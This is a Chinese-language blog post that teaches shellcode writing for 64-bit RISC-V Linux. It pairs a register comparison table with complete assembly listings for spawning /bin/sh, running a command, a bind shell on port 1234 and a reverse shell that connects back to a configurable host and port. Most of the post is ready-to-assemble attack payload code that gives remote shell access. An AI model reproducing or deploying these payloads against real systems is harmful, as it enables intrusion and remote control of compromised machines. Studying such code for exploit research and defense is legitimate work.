RISC-V 64位Linux平台下的Shellcode编写技术详解

本文深入探讨了在RISC-V 64位Linux系统上编写Shellcode的技术,涵盖了从基本的/bin/sh执行到复杂的网络绑定与反向连接Shell的实现,并提供了详细的RISC-V汇编代码示例。

Shellcode: Linux on RISC-V 64-Bit

RISC-V(发音为“risk-five”)是一种基于成熟的精简指令集计算机(RISC)原则的开放标准指令集架构(ISA)。与大多数其他ISA设计不同,RISC-V是在开源许可证下提供的,无需支付使用费用。

为了更多了解RISC-V架构,我最近购买了一块StarFive VisionFive单板计算机。它比运行在ARM上的RPI略贵,但这是我们目前能获得的、最接近RPI的设备。它使用了SiFive的U74 64位RISC-V处理器核心,类似于ARM Cortex-A55。没有此类开发板的读者可以选择使用QEMU模拟器。

你可以在这里查看这些Shellcode。

RISC-V ISA(不包括扩展指令集)当然比ARM ISA小得多,但这也使得它在个人看来更容易学习。精简的指令集更适合初学者学习他们的第一门汇编语言。从商业角度来看(我承认自己不是这类问题的专家),RISC-V相对于ARM的主要优势在于它是开源的、没有许可费用,且不受制裁。由于这些原因,它很可能在未来变得比ARM更受欢迎。我们拭目以待。

架构对比表

特性 X86 (AMD64) ARM64 RISC-V 64
寄存器 RAX-R15 X0-X31 A0-A31
系统调用寄存器 RAX X8 A7
返回值寄存器 RAX X0 A0
零寄存器 N/A XMR X0
相对寻址 LEA ADR LA
数据传输(寄存器) MOV MOV MV
数据传输(立即数) MOV MOV LI
执行系统调用 SYSCALL SVC ECALL

执行 /bin/sh

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
    # 48 bytes

    .include "include.inc"

    .global _start
    .text

_start:
    # execve("/bin/sh", NULL, NULL);
    li     a7, SYS_execve
    mv     a2, x0           # NULL
    mv     a1, x0           # NULL
    li     a3, BINSH        # "/bin/sh"
    sd     a3, (sp)         # stores string on stack
    mv     a0, sp
    ecall

执行命令

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
    # 112 bytes

    .include "include.inc"
    
    .global _start
    .text

_start:
    # execve("/bin/sh", {"/bin/sh", "-c", cmd, NULL}, NULL);
    addi   sp, sp, -64           # allocate 64 bytes of stack
    li     a7, SYS_execve
    li     a0, BINSH             # a0 = "/bin/sh\0"
    sd     a0, (sp)              # store "/bin/sh" on the stack
    mv     a0, sp
    li     a1, 0x632D            # a1 = "-c"
    sd     a1, 8(sp)             # store "-c" on the stack
    addi   a1, sp, 8
    la     a2, cmd               # a2 = cmd
    sd     a0, 16(sp)
    sd     a1, 24(sp)
    sd     a2, 32(sp)
    sd     x0, 40(sp)
    addi   a1, sp, 16            # a1 = {"/bin/sh", "-c", cmd, NULL}
    mv     a2, x0                # penv = NULL
    ecall 
cmd:
    .asciz "echo Hello, World!"

绑定Shell

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
    # 176 bytes
 
    .include "include.inc"

    .equ PORT, 1234

    .global _start
    .text

_start:
    addi   sp, sp, -16
    
    # s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
    li     a7, SYS_socket
    li     a2, IPPROTO_IP
    li     a1, SOCK_STREAM
    li     a0, AF_INET
    ecall
    
    mv     a3, a0
    
    # bind(s, &sa, sizeof(sa));  
    li     a7, SYS_bind
    li     a2, 16
    li     a1, (((((PORT & 0xFF) << 8) | (PORT >> 8)) << 16) | AF_INET) 
    sd     a1, (sp)
    sd     x0, 8(sp)
    mv    a1, sp
    ecall
  
    # listen(s, 1);
    li     a7, SYS_listen
    li     a1, 1
    mv     a0, a3
    ecall
    
    # r = accept(s, 0, 0);
    li     a7, SYS_accept
    mv     a2, x0
    mv     a1, x0
    mv     a0, a3
    ecall
    
    mv     a4, a0
 
    # in this order
    #
    # dup3(s, STDERR_FILENO, 0);
    # dup3(s, STDOUT_FILENO, 0);
    # dup3(s, STDIN_FILENO,  0);
    li     a7, SYS_dup3
    li     a1, STDERR_FILENO + 1
c_dup:
    mv     a0, a4
    addi   a1, a1, -1
    ecall
    bne    a1, zero, c_dup

    # execve("/bin/sh", NULL, NULL);
    li     a7, SYS_execve
    mv     a2, x0
    mv     a1, x0
    li     a0, BINSH
    sd     a0, (sp)
    mv     a0, sp
    ecall

反向连接Shell

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
    # 140 bytes

    .include "include.inc"

    .equ PORT, 1234
    .equ HOST, 0x0100007F # 127.0.0.1

    .global _start
    .text

_start:
    addi    sp, sp, -16
    
    # s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
    li      a7, SYS_socket
    li      a2, IPPROTO_IP
    li      a1, SOCK_STREAM
    li      a0, AF_INET
    ecall
    
    mv      a3, a0       # a3 = s
    
    # connect(s, &sa, sizeof(sa));
    li      a7, SYS_connect
    li      a2, 16
    li      a1, ((HOST << 32) | ((((PORT & 0xFF) << 8) | (PORT >> 8)) << 16) | AF_INET)
    sd      a1, (sp)
    mv      a1, sp       # a1 = &sa 
    ecall
  
    # in this order
    #
    # dup3(s, STDERR_FILENO, 0);
    # dup3(s, STDOUT_FILENO, 0);
    # dup3(s, STDIN_FILENO,  0);
    li      a7, SYS_dup3
    li      a1, STDERR_FILENO + 1
c_dup:
    mv      a2, x0
    mv      a0, a3
    addi    a1, a1, -1
    ecall
    bne     a1, zero, c_dup

    # execve("/bin/sh", NULL, NULL);
    li      a7, SYS_execve
    li      a0, BINSH
    sd      a0, (sp)
    mv      a0, sp
    ecall

延伸阅读

  • Basic Shellcode in RISC-V Linux
  • RISC-V: #AlphanumericShellcoding
  • [DEFCON 2020 Quals] – nooopsled
  • RARS — RISC-V Assembler and Runtime Simulator
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计